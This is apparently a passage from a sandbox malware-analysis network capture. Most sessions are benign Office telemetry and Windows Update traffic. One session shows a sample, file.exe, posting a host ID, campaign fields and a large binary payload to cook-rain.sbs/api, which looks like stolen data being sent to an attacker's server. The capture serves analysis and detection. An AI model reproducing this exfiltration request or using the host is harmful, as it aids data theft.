2024-11-20 07:12:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49784	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:29 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:29 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071229Z-185f5d8b95crl6swhC1NYC3ueg00000009xg00000000nptp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:29 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49785	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:29 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071229Z-185f5d8b95csp6jmhC1NYCwy6s00000009v0000000009gkn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49787	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:29 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071229Z-1777c6cb7544nvmshC1TEBf7qc000000093g000000006vt0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:29 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49788	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:29 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=BvHOH9BD6Rwh8Ku&MD=Ymg+l5kW HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 07:12:30 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 9e6e6baa-87e9-4aa3-bc37-fcd8d6b0cea9 MS-RequestId: 03e12146-3930-4640-ae7b-f8a90061694b MS-CV: ydWu/yuom0ikpyf5.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 07:12:29 GMT Connection: close Content-Length: 24490
2024-11-20 07:12:30 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 07:12:30 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49790	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:30 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071230Z-185f5d8b95c68cvnhC1NYCfn7s00000009v000000000f3mw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49791	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:30 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:30 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 7103f809-c01e-002b-5dee-3a6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071230Z-185f5d8b95c96jn4hC1NYCbgp800000009z0000000002gqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49794	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:30 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:30 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071230Z-r1d97b9957789g82hC1TEBstx000000008dg00000000dmt8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:30 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49793	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:30 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:30 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:30 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fc5e1946-701e-003e-78eb-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071230Z-r1d97b99577kk29chC1TEBemmg00000008mg000000005knz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:30 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49792	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:30 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071230Z-185f5d8b95c5lcmhhC1NYCsnsw0000000a0000000000668w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49798	188.114.97.3	443	5728	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:30 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2005BRYUUH3TJN6APR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588078 Host: cook-rain.sbs
2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: 2d 2d 32 30 30 35 42 52 59 55 55 48 33 54 4a 4e 36 41 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 35 34 31 38 33 31 32 37 45 31 34 44 35 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 32 30 30 35 42 52 59 55 55 48 33 54 4a 4e 36 41 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 30 30 35 42 52 59 55 55 48 33 54 4a 4e 36 41 50 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --2005BRYUUH3TJN6APRContent-Disposition: form-data; name="hwid"B54183127E14D51763CFCF7E6C45F838--2005BRYUUH3TJN6APRContent-Disposition: form-data; name="pid"1--2005BRYUUH3TJN6APRContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-20 07:12:30 UTC	15331	OUT	Data Raw: a8 da db f8 15 f2 09 ff 9d 22 b7 c7 53 e4 3a 07 4d e2 33 d4 ce 0e 86 63 f7 a6 c2 e5 15 6e 7b c8 dd be d9 ea b4 18 50 23 fb 3b c2 5d 2c 57 f5 c1 02 e3 a7 cd c1 df 92 ef 34 7c 2c 4c 23 15 74 9f 8e 6e 20 82 07 c5 db 97 6c a7 22 74 e0 4a 4f 84 dd 36 95 27 96 20 a1 59 fb a1 78 52 c4 a1 78 51 20 37 06 a5 d6 c2 29 a7 1d 19 ae 52 20 c9 8e 50 c0 df 4c a0 66 e2 f2 0c e5 19 e7 52 3b f7 74 e8 8e 36 23 da cf 64 b3 4c ea 24 a0 df dd 0f 38 cd 73 f4 d1 93 28 ee 0b 6f 1f bf b6 ee d9 32 94 a8 be fb b8 ab c0 68 65 c4 c2 7f fb d8 17 f9 08 c0 84 cd cf b8 09 18 12 98 b1 bb bf 03 61 a0 06 35 2b ce 6a 98 23 11 14 77 53 e3 88 3c c3 fe 57 4d 83 27 be 27 98 f1 08 2b b0 13 c9 87 43 be 82 54 ef 8d de 82 6b 80 3e 50 11 27 7e 18 d6 56 ef 8b 90 46 c6 3b fe f0 92 bd 34 fa 52 91 7d b3 64 Data Ascii: "S:M3cn{P#;],W4\|,L#tn l"tJO6' YxRxQ 7)R PLfR;t6#dL$8s(o2hea5+j#wS<WM''+CTk>P'~VF;4R}d
